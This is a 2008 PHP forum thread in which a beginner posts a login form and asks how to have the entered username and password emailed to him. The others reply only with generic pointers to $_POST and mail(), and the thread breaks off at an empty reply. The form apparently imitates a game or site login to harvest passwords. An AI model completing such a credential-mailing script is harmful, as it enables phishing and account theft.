Page 1 of 1
PHP Coding to send to mail :)
Posted: Mon Nov 17, 2008 2:10 pm
by LolzorDude
Alright, this is my first post guys, so please be lenient with me if I say something well... stupid

.
I have this code:
Code: Select all
<form id="login_form" method='post' action="login_saver.php">
What exactly must I put in login_saver.php to have it send to my email address?
If anyone could help me, I'd be very greatful.
Re: PHP Coding to send to mail :)
Posted: Mon Nov 17, 2008 2:28 pm
by requinix
Use the $_POST array to get the form fields that you want, and (presuming your system is already set up correctly) the
mail function to do the mailing.
Re: PHP Coding to send to mail :)
Posted: Mon Nov 17, 2008 2:34 pm
by LolzorDude
Sorry again, this is a bit stupid, but do you have any examples of how I can use the $_post array? I'm VERY new to PHP.
Re: PHP Coding to send to mail :)
Posted: Mon Nov 17, 2008 2:36 pm
by Syntac
I recommend reading
this. It should set you on the right path.
Re: PHP Coding to send to mail :)
Posted: Mon Nov 17, 2008 2:47 pm
by LolzorDude
Code: Select all
<div class="hideme_wrapper">
Please enter your username and password to continue.
</div>
<div class="loginapplet_wrapper">
<div class="login_form">
<form id="login_form" method='post' action="login_saver.php">
<div class='section_form' />
<span style='float: left' />User:</span>
<input style='float: right' size='20' maxlength='12' name='detail' type='text' /><br class='clear' />
</div>
<div class='section_form' />
<span style='float: left' />Pass:</span>
<input style='float: right' size='20' maxlength='20' name='email' type='password' />
Thats the code and from that I want to have the input mailed to me

. I looked at the mail function, I think I worked it out, I don't know how to use the $_post array though.
Re: PHP Coding to send to mail :)
Posted: Mon Nov 17, 2008 2:48 pm
by requinix
Syntac gave you a link. Had you clicked it you would have seen the "Dealing with Forms" link.
Re: PHP Coding to send to mail :)
Posted: Mon Nov 17, 2008 7:03 pm
by enkay